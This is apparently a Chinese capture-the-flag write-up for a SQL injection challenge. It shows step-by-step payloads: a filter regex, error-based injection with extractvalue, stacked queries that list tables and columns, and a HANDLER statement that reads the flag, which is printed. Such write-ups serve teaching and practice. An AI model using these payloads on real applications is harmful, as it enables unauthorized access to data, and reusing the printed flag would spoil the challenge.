这是一道sql注入题目,我们先来尝试对它进行闭合,payload:1'
使用联合查询,构造payload:
?inject=1' union select 1,2--+
过滤了许多东西:
/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i
其中的select被过滤掉了
尝试使用报错注入进行突破:
?inject=1' and extractvalue(1,concat(0x7e,(database()),0x7e))--+
得到数据库:supersqli
由于过滤掉了insert和delete,我们无法使用报错注入,尝试使用堆叠注入进行突破
?inject=-1';use supersqli;show tables--+
发现了两个表,猜测flag在flaghere里面,接下来查字段
?inject=-1';use supersqli;show columns from FlagHere--+
看到了字段flag
用handle读取
这里的handle语句和select查询语句都可以在mysql中查询想要的东西
基本语句是
通过HANDLER tbl_name OPEN打开一张表,无返回结果。
通过HANDLER tbl_name READ FIRST获取tbl_name的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的tbl_name。
?inject=1';handler FlagHere open;handler FlagHere read first--+
flag{0e61116e-dd99-49ec-ba01-5537cec1a996}